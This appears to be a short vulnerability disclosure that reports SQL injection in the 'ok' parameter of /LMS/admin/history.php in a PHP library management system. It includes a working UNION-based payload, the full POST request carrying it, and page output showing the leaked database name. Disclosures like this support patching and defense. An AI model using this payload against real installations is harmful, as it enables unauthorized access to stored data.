

main

...

bug_report / vendors / kingbhob02 / library-management-system / SQLi-11.md



debug601 Create SQLi-11.md

History

1 contributor

29 lines (21 sloc) | 1.04 KB

...

Library Management System v1.0 by kingbhob02 has SQL injection

vendors: <https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html>

The program is built using the xmapp-php8.1 version

Vulnerability File: /LMS/admin/history.php

Vulnerability location: /LMS/admin/history.php, ok

[+] Payload: submit=&ok=1' union select 1,database(),3,4--+ // Leak place ---> ok

POST /LMS/admin/history.php HTTP/1.1

Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=7v8p4p3gosh13b4fkncu3bh9ui

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 46

submit=&ok=1' union select 1,database(),3,4--+

POST /LMS/admin/history.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0)
Gecko/20100101 Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: _ga=GA1.1.1382961971.1655097107;
PHPSESSID=7v8p4p3gosh13b4fkncu3bh9ui
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
submit=&ok=1' union select 1,database(),3,4--+

LMS

- Home
- View
- Help
- Messages
- Recent
- Manage Your Profile
- Manage Your Profile
- Manage Your Profile
- All Books
- Add Books
- Issue/Return Requests
- Currently Issued Books
- Previously Borrowed Books
- Recent Deletion Books
- Logout

Export to Excel

Deletion id	User Name	Date
1	lms	3 4

© 2022 LMS Login. King A. Albaracin & Mariabil V. Caga-anan All rights reserved.